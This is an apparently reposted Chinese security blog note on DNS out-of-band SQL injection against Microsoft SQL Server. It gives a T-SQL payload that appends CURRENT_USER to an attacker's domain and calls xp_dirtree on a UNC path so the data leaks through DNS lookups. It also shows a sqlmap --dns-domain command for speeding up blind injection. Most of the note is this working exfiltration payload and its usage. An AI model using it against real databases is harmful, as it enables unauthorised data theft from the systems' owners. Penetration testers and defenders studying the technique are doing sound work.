DNS Log 杂记

admin 2022年5月17日04:02:00评论22 views字数 389阅读1分17秒阅读模式
  1. public 能执行 xp_dirtree 函数 (可以用来dns 回显注入)

  2. public 权限下不能列任何目录(网上很多文章说public能列)

  3. mssql dns 回显注入: 网上教程说需要两个域名,实际一个域名就可以:) 配置域名:

domain

条件:支持多语句执行

1
2
3
4
5
DECLARE @host varchar(1024);
SELECT @host=(SELECT CURRENT_USER
+'bind.google.com');
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

远程外网服务器监听: ./sqlmap/lib/request/dns.py 即可有回显结果

  1. sqlmap 可直接利用dns 回显注入来突破鸡肋的延时注入

sqlmap --dns-domain bind.google.com(你的域名)

FROM :WOLVEZ'S BLOG| Author:wolve

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日04:02:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DNS Log 杂记https://cn-sec.com/archives/1012546.html

发表评论

匿名网友 填写信息